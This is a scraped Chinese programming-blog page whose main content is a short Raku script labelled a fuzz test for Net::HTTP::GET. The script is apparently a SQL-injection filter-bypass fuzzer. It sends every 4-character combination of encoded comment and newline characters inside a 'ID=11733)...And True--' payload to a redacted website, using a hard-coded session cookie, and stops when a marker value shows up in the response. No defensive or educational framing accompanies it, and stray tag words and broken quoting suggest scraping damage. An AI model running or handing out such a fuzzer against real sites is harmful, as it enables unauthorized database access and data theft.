1. 程式人生 > >fuzz for test of the Net::HTTP::GET

fuzz for test of the Net::HTTP::GET

%20 span get xxx url pem swa class The

use Net::HTTP::GET;
my @chars = <%2d%2d%0b%0a %a0 %0a %23 %26 %0e%0f  *%26 @.jpg>;
my $count = 0;
for @chars X @chars X @chars X @chars -> $check {
        my $target_check = $check.join;
        my $url = "http://www.xxxxxx?ID=11733)"~$target_check~"And%20True--%20-";
        say $count.Str~" --> "~$url;
        #exit;
        my $html = Net::HTTP::GET($url,header=>{:cookie<PHPSESSID=u6dlq2pem8hqtbfa6998rs6g71; cuid=29450>});
        my $swap_html = $html.body.decode(
utf-8); say $swap_html; if $swap_html ~~ /99999999999/ { say Found!!!; exit; } $count++; }

fuzz for test of the Net::HTTP::GET